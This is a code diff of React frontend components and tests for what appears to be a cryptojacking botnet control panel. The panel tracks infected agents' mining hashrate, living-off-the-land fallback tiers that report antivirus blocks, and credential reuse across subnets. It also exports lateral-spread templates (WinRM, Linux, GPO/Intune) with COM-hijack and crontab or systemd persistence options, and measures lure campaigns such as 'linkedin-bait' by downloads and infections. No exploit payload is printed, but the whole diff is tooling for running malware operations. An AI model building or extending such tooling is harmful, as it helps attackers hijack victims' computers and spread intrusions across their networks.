<div className="lotl-attempts-title">
LOTL TIER CHAIN
{activeTier && (
<span style={{ marginLeft: '0.5rem', color: 'var(--text-muted)', fontWeight: 400 }}>
{formatLotlTierLabel(activeTier)}
</span>
)}
{miningHashrate !== undefined && (
<span style={{ marginLeft: '0.5rem', color: 'var(--neon-green)', fontWeight: 600 }}>
{Math.round(miningHashrate)} H/s
</span>
)}
</div>
{attempts.length === 0 ? (
<div className="lotl-attempts-empty">No attempt history</div>
) : (
<ul className="lotl-attempts-list">
{attempts.map((a, i) => (
<li key={`${a.tier}-${i}`} className="lotl-attempt-row">
<span className={`lotl-attempt-icon ${a.ok ? 'ok' : 'fail'}`}>{a.ok ? '✓' : '✗'}</span>
<span className="lotl-attempt-tier">{formatLotlTierLabel(a.tier)}</span>
<span className="lotl-attempt-dur">{formatDurationMs(a.duration_ms)}</span>
{!a.ok && a.error && <span className="lotl-attempt-err">{a.error}</span>}
</li>
))}
</ul>
)}
</div>
);
}

View File

@@ -0,0 +1,67 @@
/**
* @vitest-environment happy-dom
*/
import { afterEach, describe, expect, it } from 'vitest';
import { cleanup, render, screen } from '@testing-library/react';
import LotlTierBadge from './LotlTierBadge';
import LotlAttemptsList from './LotlAttemptsList';
import { formatDurationMs, formatLotlTierLabel, parseTierAttempts } from '../../types/lotl';
describe('LOTL tier visuals', () => {
afterEach(() => cleanup());
it('renders compact tier badge with friendly label', () => {
render(<LotlTierBadge tier="inprocess" />);
expect(screen.getByText('LOTL In-Process')).toBeInTheDocument();
});
it('shows fail styling when active tier last attempt failed', () => {
const { container } = render(
<LotlTierBadge
tier="container"
attempts={[
{ tier: 'wsl', ok: false, error: 'no distro', duration_ms: 1200 },
{ tier: 'container', ok: false, error: 'AV blocked', duration_ms: 800 },
]}
/>,
);
expect(container.querySelector('.lotl-fail')).toBeTruthy();
});
it('lists tier attempts with success/fail and duration', () => {
render(
<LotlAttemptsList
activeTier="inprocess"
miningHashrate={420}
attempts={[
{ tier: 'container', ok: false, error: 'docker missing', duration_ms: 500 },
{ tier: 'inprocess', ok: true, duration_ms: 2100 },
]}
/>,
);
expect(screen.getByText('LOTL TIER CHAIN')).toBeInTheDocument();
expect(screen.getByText('Container')).toBeInTheDocument();
expect(screen.getByText('In-Process')).toBeInTheDocument();
expect(screen.getByText('docker missing')).toBeInTheDocument();
expect(screen.getByText('500ms')).toBeInTheDocument();
expect(screen.getByText('2.1s')).toBeInTheDocument();
expect(screen.getByText(/420 H\/s/)).toBeInTheDocument();
});
it('parseTierAttempts normalizes API rows', () => {
const attempts = parseTierAttempts([
{ tier: 'gpu', ok: true, duration_ms: 3000 },
{ tier: 'wsl', ok: false, error: 'offline' },
{ bad: true },
]);
expect(attempts).toHaveLength(2);
expect(attempts[0].tier).toBe('gpu');
expect(attempts[1].error).toBe('offline');
});
it('formatLotlTierLabel and formatDurationMs helpers', () => {
expect(formatLotlTierLabel('ps_memory')).toBe('PS Memory');
expect(formatDurationMs(450)).toBe('450ms');
expect(formatDurationMs(1500)).toBe('1.5s');
});
});

View File

@@ -0,0 +1,31 @@
import type { TierAttempt } from '../../types/lotl';
import { formatLotlTierLabel, lotlAttemptsTooltip } from '../../types/lotl';
import './LotlVisuals.css';
interface Props {
tier?: string;
attempts?: TierAttempt[];
/** Use card chip styling (cn-lotl) vs inline header badge */
variant?: 'card' | 'inline';
className?: string;
}
export default function LotlTierBadge({ tier, attempts, variant = 'card', className = '' }: Props) {
if (!tier?.trim()) return null;
const failed = attempts?.some((a) => a.tier === tier && !a.ok);
const stateCls = failed ? 'lotl-fail' : tier ? 'lotl-active' : 'lotl-idle';
const base = variant === 'card' ? 'cn-lotl' : 'lotl-tier-badge';
const title = attempts?.length
? `Active LOTL tier: ${formatLotlTierLabel(tier)}\n${lotlAttemptsTooltip(attempts)}`
: `Active LOTL tier: ${formatLotlTierLabel(tier)}`;
return (
<span
className={`${base} lotl-tier-badge--${failed ? 'fail' : 'active'} ${stateCls} ${className}`.trim()}
title={title}
>
LOTL {formatLotlTierLabel(tier)}
</span>
);
}

View File

@@ -0,0 +1,144 @@
/* Compact LOTL tier badge — agent cards, headers, remote actions */
.lotl-tier-badge,
.cn-lotl {
font-size: 0.62rem;
font-family: var(--font-tech);
letter-spacing: 0.05em;
padding: 1px 5px;
border-radius: 3px;
white-space: nowrap;
}
.cn-lotl {
align-self: flex-start;
}
.lotl-tier-badge--active,
.cn-lotl.lotl-active {
color: var(--neon-cyan);
background: rgba(0, 245, 255, 0.12);
border: 1px solid rgba(0, 245, 255, 0.28);
}
.lotl-tier-badge--fail,
.cn-lotl.lotl-fail {
color: #ff8866;
background: rgba(255, 100, 0, 0.12);
border: 1px solid rgba(255, 136, 68, 0.35);
}
.lotl-tier-badge--idle,
.cn-lotl.lotl-idle {
color: var(--text-muted);
background: rgba(255, 255, 255, 0.06);
}
/* Vulnerability risk chip — Crucible / fleet cards (authorized recon only) */
.vuln-risk-badge,
.cn-vuln-risk {
font-size: 0.62rem;
font-family: var(--font-tech);
letter-spacing: 0.05em;
padding: 1px 5px;
border-radius: 3px;
white-space: nowrap;
}
.vuln-risk-high {
color: #ff6688;
background: rgba(255, 60, 90, 0.14);
border: 1px solid rgba(255, 80, 110, 0.4);
}
.vuln-risk-med {
color: #ffaa44;
background: rgba(255, 140, 0, 0.12);
border: 1px solid rgba(255, 170, 68, 0.35);
}
.vuln-risk-low {
color: #88ccff;
background: rgba(80, 160, 255, 0.1);
border: 1px solid rgba(100, 180, 255, 0.3);
}
.vuln-risk-clear {
color: var(--text-muted);
background: rgba(255, 255, 255, 0.05);
}
/* Tier attempt list — reuses Crucible rich-terminal palette */
.lotl-attempts-block {
margin: 0.35rem 0 0.5rem;
padding: 0.45rem 0.65rem;
border-left: 2px solid rgba(0, 245, 255, 0.35);
background: rgba(0, 0, 0, 0.35);
border-radius: 0 4px 4px 0;
font-family: var(--font-tech);
font-size: 0.74rem;
max-width: 720px;
}
.lotl-attempts-title {
color: var(--neon-cyan);
font-weight: 700;
letter-spacing: 0.1em;
font-size: 0.7rem;
margin-bottom: 0.35rem;
}
.lotl-attempts-list {
list-style: none;
margin: 0;
padding: 0;
display: flex;
flex-direction: column;
gap: 0.2rem;
}
.lotl-attempt-row {
display: flex;
flex-wrap: wrap;
align-items: baseline;
gap: 0.35rem 0.5rem;
padding: 0.15rem 0;
border-bottom: 1px solid rgba(255, 255, 255, 0.04);
}
.lotl-attempt-row:last-child {
border-bottom: none;
}
.lotl-attempt-icon {
width: 1rem;
flex-shrink: 0;
font-weight: 700;
}
.lotl-attempt-icon.ok { color: var(--neon-green); }
.lotl-attempt-icon.fail { color: #ff6666; }
.lotl-attempt-tier {
font-weight: 600;
color: #e8e8e8;
min-width: 5.5rem;
}
.lotl-attempt-dur {
color: var(--text-muted);
font-size: 0.68rem;
}
.lotl-attempt-err {
color: #ffaa88;
font-size: 0.68rem;
flex: 1 1 100%;
padding-left: 1.35rem;
word-break: break-word;
}
.lotl-attempts-empty {
color: var(--text-muted);
font-style: italic;
font-size: 0.72rem;
}

View File

@@ -0,0 +1,66 @@
/**
* @vitest-environment happy-dom
*/
import { afterEach, describe, expect, it, vi } from 'vitest';
import { cleanup, render, screen, waitFor } from '@testing-library/react';
import RiskBadge from './RiskBadge';
import JoinLaneBadge from './JoinLaneBadge';
import CredentialGraphTable from './CredentialGraphTable';
import { api } from '../../api/client';
vi.mock('../../api/client', () => ({
api: {
getCredentialGraph: vi.fn(),
getServiceGraph: vi.fn(),
},
}));
describe('Recon badges', () => {
afterEach(() => {
cleanup();
vi.clearAllMocks();
});
it('RiskBadge renders critical chip from vuln_findings', () => {
render(
<RiskBadge
findings={[{ cve_id: 'CVE-2021-44228', severity: 'critical', patched: false }]}
/>,
);
expect(screen.getByText('RISK CRIT')).toBeInTheDocument();
});
it('RiskBadge renders nothing when findings are patched', () => {
const { container } = render(
<RiskBadge findings={[{ cve_id: 'CVE-1', severity: 'high', patched: true }]} />,
);
expect(container.firstChild).toBeNull();
});
it('JoinLaneBadge renders lane label', () => {
render(<JoinLaneBadge lane="docker" />);
expect(screen.getByText('Docker')).toBeInTheDocument();
});
it('CredentialGraphTable shows subnet rows from API', async () => {
vi.mocked(api.getCredentialGraph).mockResolvedValue({
subnets: [
{ subnet: '10.0.1.x', edges: 5, success_count: 3, fail_count: 2 },
],
});
render(<CredentialGraphTable />);
await waitFor(() => {
expect(screen.getByText('10.0.1.x')).toBeInTheDocument();
});
expect(screen.getByText('5')).toBeInTheDocument();
expect(screen.getByText('3')).toBeInTheDocument();
});
it('CredentialGraphTable shows unavailable message on 404', async () => {
vi.mocked(api.getCredentialGraph).mockResolvedValue(null);
render(<CredentialGraphTable />);
await waitFor(() => {
expect(screen.getByText(/not available yet/i)).toBeInTheDocument();
});
});
});

View File

@@ -0,0 +1,108 @@
/* Fleet recon badges — mirrors LOTL chip tokens */
.risk-badge,
.cn-risk,
.join-lane-badge,
.war-room-join-lane-badge {
font-size: 0.62rem;
font-family: var(--font-tech);
letter-spacing: 0.05em;
padding: 1px 5px;
border-radius: 3px;
white-space: nowrap;
}
.cn-risk {
align-self: flex-start;
}
.risk-badge--critical,
.cn-risk.risk-critical {
color: #ff4466;
background: rgba(255, 50, 80, 0.14);
border: 1px solid rgba(255, 68, 102, 0.4);
}
.risk-badge--high,
.cn-risk.risk-high {
color: #ff8866;
background: rgba(255, 120, 40, 0.12);
border: 1px solid rgba(255, 136, 68, 0.35);
}
.risk-badge--medium,
.cn-risk.risk-medium {
color: var(--neon-amber, #ffb347);
background: rgba(255, 180, 60, 0.1);
border: 1px solid rgba(255, 180, 60, 0.3);
}
.risk-badge--low,
.cn-risk.risk-low {
color: var(--text-muted);
background: rgba(255, 255, 255, 0.06);
border: 1px solid rgba(255, 255, 255, 0.12);
}
.join-lane-badge,
.war-room-join-lane-badge {
color: var(--neon-violet, #b388ff);
background: rgba(160, 100, 255, 0.12);
border: 1px solid rgba(160, 100, 255, 0.28);
}
.recon-graph-table {
width: 100%;
border-collapse: collapse;
font-family: var(--font-tech);
font-size: 0.74rem;
}
.recon-graph-table th,
.recon-graph-table td {
padding: 0.35rem 0.5rem;
text-align: left;
border-bottom: 1px solid rgba(255, 255, 255, 0.08);
}
.recon-graph-table th {
color: var(--neon-cyan);
font-weight: 600;
letter-spacing: 0.08em;
font-size: 0.68rem;
}
.recon-graph-empty {
font-size: 0.72rem;
color: var(--text-muted);
margin: 0.25rem 0;
}
.recon-service-summary {
font-family: var(--font-tech);
font-size: 0.74rem;
}
.recon-service-list {
list-style: none;
margin: 0.35rem 0 0;
padding: 0;
display: flex;
flex-direction: column;
gap: 0.25rem;
}
.recon-service-item {
display: flex;
flex-wrap: wrap;
gap: 0.35rem;
align-items: center;
}
.recon-service-name {
color: var(--neon-cyan);
}
.recon-service-meta {
color: var(--text-muted);
font-size: 0.68rem;
}

View File

@@ -0,0 +1,25 @@
import { riskFromVulnFindings } from '../../help/reconRisk';
import type { VulnFinding } from '../../types/recon';
import './ReconVisuals.css';
interface Props {
findings?: VulnFinding[];
variant?: 'card' | 'inline';
className?: string;
}
export default function RiskBadge({ findings, variant = 'card', className = '' }: Props) {
const info = riskFromVulnFindings(findings);
if (!info) return null;
const base = variant === 'card' ? 'cn-risk' : 'risk-badge';
return (
<span
className={`${base} risk-badge--${info.level} risk-${info.level} ${className}`.trim()}
title={info.title}
>
{info.label}
</span>
);
}

View File

@@ -0,0 +1,118 @@
import { useEffect, useState } from 'react';
import { api } from '../../api/client';
import { ipToSubnet } from '../../help/reconRisk';
import type { ServiceGraphNode } from '../../types/recon';
import JoinLaneBadge from './JoinLaneBadge';
import './ReconVisuals.css';
interface Props {
agentId?: string;
agentIp?: string;
}
export default function ServiceGraphSummary({ agentId, agentIp }: Props) {
const subnet = ipToSubnet(agentIp);
const [services, setServices] = useState<ServiceGraphNode[] | null>(null);
const [loading, setLoading] = useState(false);
const [unavailable, setUnavailable] = useState(false);
useEffect(() => {
if (!agentId && !subnet) {
setServices(null);
setUnavailable(false);
return;
}
let cancelled = false;
setLoading(true);
void api
.getServiceGraph({ agentId, subnet })
.then((data) => {
if (cancelled) return;
if (!data) {
setUnavailable(true);
setServices([]);
return;
}
setServices(data.services ?? []);
setUnavailable(false);
})
.catch(() => {
if (!cancelled) {
setUnavailable(true);
setServices([]);
}
})
.finally(() => {
if (!cancelled) setLoading(false);
});
return () => {
cancelled = true;
};
}, [agentId, subnet]);
if (!agentId && !subnet) {
return (
<p className="recon-graph-empty">
Select one agent to view service graph for its subnet.
</p>
);
}
if (loading) {
return <p className="recon-graph-empty">Loading service graph</p>;
}
if (unavailable) {
return (
<p className="recon-graph-empty">
Service graph API not available run discover_and_join or service probe on this host.
</p>
);
}
if (!services?.length) {
return (
<p className="recon-graph-empty">
No enumerated services for {subnet || 'selected host'}.
</p>
);
}
const lanes = new Set(
services.map((s) => s.join_lane_candidate?.trim()).filter(Boolean) as string[],
);
return (
<div className="recon-service-summary">
<div className="recon-service-meta">
{subnet ? <span>{subnet}</span> : null}
{agentId ? <span>{subnet ? ' · ' : ''}{agentId.slice(0, 8)}</span> : null}
<span> · {services.length} service(s)</span>
</div>
{lanes.size > 0 ? (
<div style={{ display: 'flex', flexWrap: 'wrap', gap: '0.25rem', marginTop: '0.35rem' }}>
{[...lanes].map((lane) => (
<JoinLaneBadge key={lane} lane={lane} />
))}
</div>
) : null}
<ul className="recon-service-list">
{services.slice(0, 12).map((s, i) => (
<li key={`${s.service_name}-${i}`} className="recon-service-item">
<span className="recon-service-name">{s.service_name}</span>
{s.port ? <span className="recon-service-meta">:{s.port}</span> : null}
{s.status ? <span className="recon-service-meta">{s.status}</span> : null}
{s.join_lane_candidate ? (
<JoinLaneBadge lane={s.join_lane_candidate} />
) : null}
</li>
))}
</ul>
{services.length > 12 ? (
<p className="recon-graph-empty">+{services.length - 12} more</p>
) : null}
</div>
);
}

View File

@@ -0,0 +1,96 @@
import { useState } from 'react';
import { api } from '../../api/client';
import { SPREAD_TEMPLATES, spreadTemplateZipName, type SpreadTemplateId } from '../../help/spreadTemplateExport';
import { spreadTechniqueDocUrl } from '../../help/spreadTechniques';
export interface SpreadTemplateExportPanelProps {
serverBase: string;
buildId?: string;
campaign?: string;
}
export default function SpreadTemplateExportPanel({
serverBase,
buildId = '',
campaign = '',
}: SpreadTemplateExportPanelProps) {
const [template, setTemplate] = useState<SpreadTemplateId>('winrm');
const [comHijack, setComHijack] = useState(false);
const [lotlMode, setLotlMode] = useState('systemd_run_user');
const [busy, setBusy] = useState(false);
const [err, setErr] = useState('');
const meta = SPREAD_TEMPLATES.find((t) => t.id === template);
const onExport = async () => {
setErr('');
setBusy(true);
try {
await api.exportSpreadTemplate({
template,
server_url: serverBase,
build_id: buildId.trim(),
campaign: campaign.trim(),
com_hijack: comHijack,
lotl_mode: lotlMode,
});
} catch (e) {
setErr(e instanceof Error ? e.message : String(e));
} finally {
setBusy(false);
}
};
return (
<div className="crucible-spread-templates" style={{ marginTop: '0.75rem' }}>
<p className="crucible-seek-blurb" style={{ marginBottom: '0.5rem' }}>
Export spread templates (WinRM, Linux LOTL, GPO/Intune). Mining policy stays on the command deck.
{meta ? (
<>
{' '}
<a href={spreadTechniqueDocUrl(meta.docAnchor)} target="_blank" rel="noreferrer">
Playbook
</a>
</>
) : null}
</p>
<div style={{ display: 'flex', flexWrap: 'wrap', gap: '0.5rem', alignItems: 'center' }}>
<select
className="crucible-inline-input"
value={template}
onChange={(e) => setTemplate(e.target.value as SpreadTemplateId)}
aria-label="Spread template"
>
{SPREAD_TEMPLATES.map((t) => (
<option key={t.id} value={t.id}>
{t.label}
</option>
))}
</select>
{template === 'winrm' ? (
<label style={{ display: 'inline-flex', alignItems: 'center', gap: '0.35rem', fontSize: '0.85rem' }}>
<input type="checkbox" checked={comHijack} onChange={(e) => setComHijack(e.target.checked)} />
COM hijack (owned only)
</label>
) : null}
{template === 'linux-lotl' ? (
<select
className="crucible-inline-input"
value={lotlMode}
onChange={(e) => setLotlMode(e.target.value)}
aria-label="LOTL persistence"
>
<option value="systemd_run_user">systemd-run --user</option>
<option value="crontab">crontab @reboot</option>
<option value="both">both</option>
<option value="off">run once only</option>
</select>
) : null}
<button type="button" className="button crucible-op-btn" disabled={busy || !serverBase.trim()} onClick={() => void onExport()}>
{busy ? 'Exporting…' : `Export ${spreadTemplateZipName(template)}`}
</button>
</div>
{err ? <p className="form-error" style={{ marginTop: '0.35rem' }}>{err}</p> : null}
</div>
);
}

View File

@@ -32,7 +32,6 @@ function operatorDeckId(pathname: string): string {
if (path.startsWith('/forge') || path.startsWith('/builder')) return 'forge';
if (path.startsWith('/crucible')) return 'crucible';
if (path.startsWith('/emberwake') || path.startsWith('/spread')) return 'emberwake';
if (path.startsWith('/agents')) return 'fleet';
if (path.startsWith('/builds')) return 'builds';
if (path.startsWith('/settings')) return 'settings';
if (path.startsWith('/pathtracer')) return 'pathtracer';
@@ -41,7 +40,6 @@ function operatorDeckId(pathname: string): string {
const NAV = [
{ to: '/dashboard', label: 'Command Deck', icon: 'deck' },
{ to: '/agents', label: 'Fleet Roster', icon: 'fleet' },
{ to: '/crucible', label: 'Crucible', icon: 'crucible' },
{ to: '/pathtracer', label: 'Path Tracer', icon: 'trace' },
{ to: '/forge', label: 'Forge', icon: 'forge' },
@@ -53,7 +51,7 @@ const NAV = [
const DOCS_HREF = '/docs/';
/** Primary tabs on mobile bottom bar — Deck, Fleet, Crucible, Path Tracer, Forge */
/** Primary tabs on mobile bottom bar — Deck, Crucible, Path Tracer, Forge, Mission Deck */
const MOBILE_PRIMARY = NAV.slice(0, 5);
/** Mission Deck, Builds, Emberwake, Calibrate — “More” sheet */
const MOBILE_MORE = NAV.slice(5);
@@ -257,7 +255,6 @@ export default function Layout({ children }: LayoutProps) {
const moreActive = MOBILE_MORE.some((item) => location.pathname === item.to);
const mobileShortLabel: Record<string, string> = {
'/dashboard': 'Deck',
'/agents': 'Fleet',
'/crucible': 'Ops',
'/pathtracer': 'Tracer',
'/forge': 'Forge',

View File

@@ -27,6 +27,8 @@ function LaserPulse({ start, end, color }: { start: [number, number, number], en
}
const STALE_THRESHOLD_MS = 5 * 60 * 1000;
/** Cap 3D nodes to keep WebGL performant on large fleets. */
const TOPOLOGY_NODE_CAP = 200;
function AgentNode({ agent, position, serverPos }: { agent: Agent, position: [number, number, number], serverPos: [number, number, number] }) {
const isOnline = agent.status === 'online';
@@ -82,9 +84,16 @@ function AgentNode({ agent, position, serverPos }: { agent: Agent, position: [nu
export default function FleetTopologyMap({ agents }: { agents: Agent[] }) {
const serverPos: [number, number, number] = [0, 0, 0];
const displayAgents = useMemo(() => {
if (agents.length <= TOPOLOGY_NODE_CAP) return agents;
const online = agents.filter((a) => a.status === 'online');
const pool = online.length >= TOPOLOGY_NODE_CAP ? online : agents;
return pool.slice(0, TOPOLOGY_NODE_CAP);
}, [agents]);
const capped = agents.length > TOPOLOGY_NODE_CAP;
const agentNodes = useMemo(() => {
return agents.map((agent, i) => {
return displayAgents.map((agent, i) => {
const goldenRatio = (1 + Math.sqrt(5)) / 2;
const angle = i * Math.PI * 2 * goldenRatio;
// Distribute in a spherical/cylindrical rough cluster
@@ -94,13 +103,14 @@ export default function FleetTopologyMap({ agents }: { agents: Agent[] }) {
const y = (Math.random() - 0.5) * 6;
return { agent, position: [x, y, z] as [number, number, number] };
});
}, [agents]);
}, [displayAgents]);
return (
<div className="topology-container" style={{ width: '100%', height: '500px', background: '#050508', borderRadius: '8px', overflow: 'hidden', border: '1px solid var(--neon-cyan)', position: 'relative', boxShadow: '0 0 20px rgba(0, 245, 255, 0.1)' }}>
<div style={{ position: 'absolute', top: 15, left: 15, zIndex: 10, color: 'var(--neon-cyan)', fontFamily: 'monospace', textShadow: '0 0 5px var(--neon-cyan)' }}>
<span className="live-beacon on" style={{ display: 'inline-block', marginRight: 8, verticalAlign: 'middle' }}></span>
3D_MESH_TOPOLOGY // {agents.filter(a => a.status === 'online').length} NODES LINKED
3D_MESH_TOPOLOGY // {displayAgents.filter(a => a.status === 'online').length} NODES LINKED
{capped && ` (showing ${TOPOLOGY_NODE_CAP}/${agents.length})`}
</div>
<Canvas camera={{ position: [0, 8, 14], fov: 50 }}>
<color attach="background" args={['#050508']} />

View File

@@ -1,5 +1,5 @@
import { useEffect, useState, type CSSProperties } from 'react';
import type { WarRoomCampaign } from '../../types';
import type { Agent, WarRoomCampaign } from '../../types';
import {
detectFunnelLeaks,
formatHashrate,
@@ -9,6 +9,8 @@ import {
sparklineMax,
staggerDelayMs,
} from '../../help/warRoom';
import { hashHeatIntensity, lotlTierLabel } from '../../help/warRoomTelemetry';
import JoinLaneBadge from '../Fleet/JoinLaneBadge';
import WarRoomOdometer from './WarRoomOdometer';
interface WarRoomFunnelBoardProps {
@@ -16,9 +18,18 @@ interface WarRoomFunnelBoardProps {
days: number;
refreshKey?: string;
highlightCampaign?: string | null;
campaignAgents?: Record<string, Agent[]>;
maxLiveHashrate?: number;
}
export default function WarRoomFunnelBoard({ campaigns, days, refreshKey, highlightCampaign }: WarRoomFunnelBoardProps) {
export default function WarRoomFunnelBoard({
campaigns,
days,
refreshKey,
highlightCampaign,
campaignAgents = {},
maxLiveHashrate = 0,
}: WarRoomFunnelBoardProps) {
const [alive, setAlive] = useState(false);
useEffect(() => {
@@ -39,14 +50,24 @@ export default function WarRoomFunnelBoard({ campaigns, days, refreshKey, highli
const primaryLeak = leaks[0];
const max = sparklineMax(c.daily_hits);
const hits = c.hits ?? 0;
const heat = hashHeatIntensity(c.hashrate ?? 0, maxLiveHashrate || c.hashrate || 0);
const agents = campaignAgents[c.campaign] ?? [];
const onlineAgents = agents.filter((a) => a.status === 'online');
return (
<article
key={c.campaign}
id={`war-room-campaign-${c.campaign}`}
className={`war-room-funnel-card${highlightCampaign === c.campaign ? ' war-room-funnel-card--highlighted' : ''}`}
className={`war-room-funnel-card${
highlightCampaign === c.campaign ? ' war-room-funnel-card--highlighted' : ''
}${heat > 0 ? ' war-room-funnel-card--heat' : ''}`}
role="listitem"
style={{ '--card-stagger': `${cardIndex * 0.12}s` } as CSSProperties}
style={
{
'--card-stagger': `${cardIndex * 0.12}s`,
'--hash-heat': heat,
} as CSSProperties
}
>
<header className="war-room-funnel-card-head">
<div>
@@ -77,6 +98,23 @@ export default function WarRoomFunnelBoard({ campaigns, days, refreshKey, highli
</div>
</header>
{onlineAgents.length > 0 ? (
<div className="war-room-agent-tags" aria-label="Live campaign agents">
{onlineAgents.slice(0, 8).map((a) => {
const tier = lotlTierLabel(a.lotl_tier);
return (
<span key={a.id} className="war-room-agent-tag" title={a.name}>
<span className="war-room-agent-tag-name">{a.name}</span>
{tier ? <span className="war-room-lotl-badge">{tier}</span> : null}
{a.join_lane ? (
<JoinLaneBadge lane={a.join_lane} className="war-room-join-lane-badge" />
) : null}
</span>
);
})}
</div>
) : null}
<div className="war-room-funnel-pipeline" aria-label="Campaign funnel">
{stages.map((stage, idx) => (
<div key={stage.id} className="war-room-funnel-stage">

View File

@@ -456,6 +456,46 @@ describe('AgentRemoteActions', () => {
});
expect(screen.getByRole('button', { name: 'Screenshot' })).toBeDisabled();
});
it('shows LOTL tier badge in target header when lotl_tier is set', async () => {
render(
<MemoryRouter future={routerFuture}>
<AgentRemoteActions
agent={mockAgent({ id: 'lotl-1', name: 'Tier Node', status: 'online', lotl_tier: 'container' })}
online
/>
</MemoryRouter>,
);
await waitFor(() => {
expect(screen.getByText('LOTL Container')).toBeInTheDocument();
});
});
it('shows mining method in live stats when active_method is set', async () => {
render(
<MemoryRouter future={routerFuture}>
<AgentRemoteActions
agent={mockAgent({
id: 'mine-1',
name: 'Miner Node',
status: 'online',
hashrate_15s: 500,
cpu_usage_pct: 40,
memory_usage_pct: 30,
active_method: 'inprocess',
stratum_overlay: true,
failed_methods: [{ method: 'container', reason: 'AV blocked', at: '2026-06-06T12:00:00Z' }],
})}
online
showLiveStats
/>
</MemoryRouter>
);
await waitFor(() => {
expect(screen.getByText(/Mining inprocess\+stratum/i)).toBeInTheDocument();
});
expect(screen.getByText(/Fallback container failed/i)).toBeInTheDocument();
});
});
describe('AgentListItem', () => {
@@ -881,6 +921,6 @@ describe('Layout', () => {
expect(screen.getByText('page body')).toBeInTheDocument();
});
expect(screen.getByRole('link', { name: /Command Deck/i })).toBeInTheDocument();
expect(screen.getByRole('link', { name: /Fleet Roster/i })).toBeInTheDocument();
expect(screen.getByRole('link', { name: /Crucible/i })).toBeInTheDocument();
});
});

View File

@@ -232,4 +232,108 @@ describe('WebSocketProvider', () => {
unmount();
expect(closeSpy).toHaveBeenCalled();
});
it('applies stats_batch mining fields to agents', async () => {
const agent = mockAgent({ id: 'batch-1', active_method: undefined });
const { result } = renderHook(() => useWebSocketContext(), { wrapper });
await waitForSocket();
act(() => {
latestSocket().emitOpen();
latestSocket().emitMessage({ type: 'init', payload: { agents: [agent] } });
latestSocket().emitMessage({
type: 'stats_batch',
payload: {
updates: [
{
agent_id: 'batch-1',
hashrate_15s: 250,
hashrate_1m: 240,
hashrate_15m: 230,
cpu_usage_pct: 55,
active_method: 'inprocess',
stratum_overlay: true,
chain_exhausted: false,
mining_hashrate: 850,
lotl_tier: 'tier-2',
},
],
},
});
});
expect(result.current.agents[0].hashrate_15s).toBe(250);
expect(result.current.agents[0].active_method).toBe('inprocess');
expect(result.current.agents[0].stratum_overlay).toBe(true);
expect(result.current.agents[0].mining_hashrate).toBe(850);
expect(result.current.agents[0].lotl_tier).toBe('tier-2');
});
it('applies stats_batch lotl_attempts to agents', async () => {
const agent = mockAgent({ id: 'batch-lotl' });
const { result } = renderHook(() => useWebSocketContext(), { wrapper });
await waitForSocket();
act(() => {
latestSocket().emitOpen();
latestSocket().emitMessage({ type: 'init', payload: { agents: [agent] } });
latestSocket().emitMessage({
type: 'stats_batch',
payload: {
updates: [
{
agent_id: 'batch-lotl',
hashrate_15s: 100,
hashrate_1m: 100,
hashrate_15m: 100,
cpu_usage_pct: 10,
lotl_tier: 'cpu_inprocess',
lotl_attempts: [
{ tier: 'wsl', ok: false, error: 'no distro', duration_ms: 600 },
{ tier: 'cpu_inprocess', ok: true, duration_ms: 1100 },
],
},
],
},
});
});
expect(result.current.agents[0].lotl_tier).toBe('cpu_inprocess');
expect(result.current.agents[0].lotl_attempts).toHaveLength(2);
expect(result.current.agents[0].lotl_attempts?.[1].ok).toBe(true);
});
it('applies emberwake_war_room WS payload', async () => {
const warRoomPayload = {
generated_at: '2026-06-06T15:00:00.000Z',
days: 7,
campaigns: [
{
campaign: 'linkedin-bait',
hits: 42,
downloads: 10,
agents: 3,
online: 2,
hashrate: 1500,
conversion_pct: 7.1,
daily_hits: [1, 2, 3, 4, 5, 6, 7],
},
],
};
const { result } = renderHook(() => useWebSocketContext(), { wrapper });
await waitForSocket();
act(() => {
latestSocket().emitOpen();
latestSocket().emitMessage({
type: 'emberwake_war_room',
payload: warRoomPayload,
});
});
expect(result.current.latestMessage?.type).toBe('emberwake_war_room');
expect(result.current.latestMessage?.payload).toEqual(warRoomPayload);
expect(result.current.latestMessage?.payload.campaigns[0].campaign).toBe('linkedin-bait');
expect(result.current.latestMessage?.payload.campaigns[0].hits).toBe(42);
});
});

View File

@@ -1,9 +1,11 @@
import React, { useEffect, useRef, useCallback, useState, useMemo } from 'react';
import { agentStatsUnchanged, WS_LATEST_MESSAGE_TYPES } from '../help/wsStatsCoalesce';
import { WS_LATEST_MESSAGE_TYPES } from '../help/wsStatsCoalesce';
import { applyStatsUpdates } from '../help/applyStatsUpdate';
import type {
WSDashboardInit,
WSAgentOffline,
WSStatsUpdate,
WSStatsBatch,
WSCommandResult,
WSAgentLog,
WSPolicyAck,
@@ -172,64 +174,14 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
}
case 'stats_update': {
const update = msg.payload as WSStatsUpdate;
setAgents((prev) => {
const idx = prev.findIndex((a) => a.id === update.agent_id);
if (idx < 0) return prev;
if (agentStatsUnchanged(prev[idx], update)) return prev;
return prev.map((a) =>
a.id === update.agent_id
? {
...a,
hashrate_15s: update.hashrate_15s,
hashrate_1m: update.hashrate_1m,
hashrate_15m: update.hashrate_15m,
cpu_usage_pct: update.cpu_usage_pct,
memory_usage_pct: update.memory_usage_pct ?? a.memory_usage_pct,
uptime_seconds: update.uptime_seconds ?? a.uptime_seconds,
shares_total: update.shares_submitted ?? a.shares_total,
shares_good: update.shares_accepted ?? a.shares_good,
shares_bad: Math.max(
0,
(update.shares_submitted ?? a.shares_total) -
(update.shares_accepted ?? a.shares_good)
),
status: 'online' as const,
...(update.listen_port_count !== undefined ? { listen_port_count: update.listen_port_count } : {}),
...(update.dns_servers !== undefined ? { dns_servers: update.dns_servers } : {}),
...(update.dns_search_domains !== undefined ? { dns_search_domains: update.dns_search_domains } : {}),
...(update.dns_drifted !== undefined ? { dns_drifted: update.dns_drifted } : {}),
...(update.cpu_freq_mhz !== undefined ? { cpu_freq_mhz: update.cpu_freq_mhz } : {}),
...(update.cpu_max_mhz !== undefined ? { cpu_max_mhz: update.cpu_max_mhz } : {}),
...(update.cpu_throttle !== undefined ? { cpu_throttle: update.cpu_throttle } : {}),
...(update.cpu_temp_c !== undefined ? { cpu_temp_c: update.cpu_temp_c } : {}),
...(update.disk_free_gb !== undefined ? { disk_free_gb: update.disk_free_gb } : {}),
...(update.disk_total_gb !== undefined ? { disk_total_gb: update.disk_total_gb } : {}),
...(update.disk_free_pct !== undefined ? { disk_free_pct: update.disk_free_pct } : {}),
...(update.gpu_temp_c !== undefined ? { gpu_temp_c: update.gpu_temp_c } : {}),
...(update.gpu_usage_pct !== undefined ? { gpu_usage_pct: update.gpu_usage_pct } : {}),
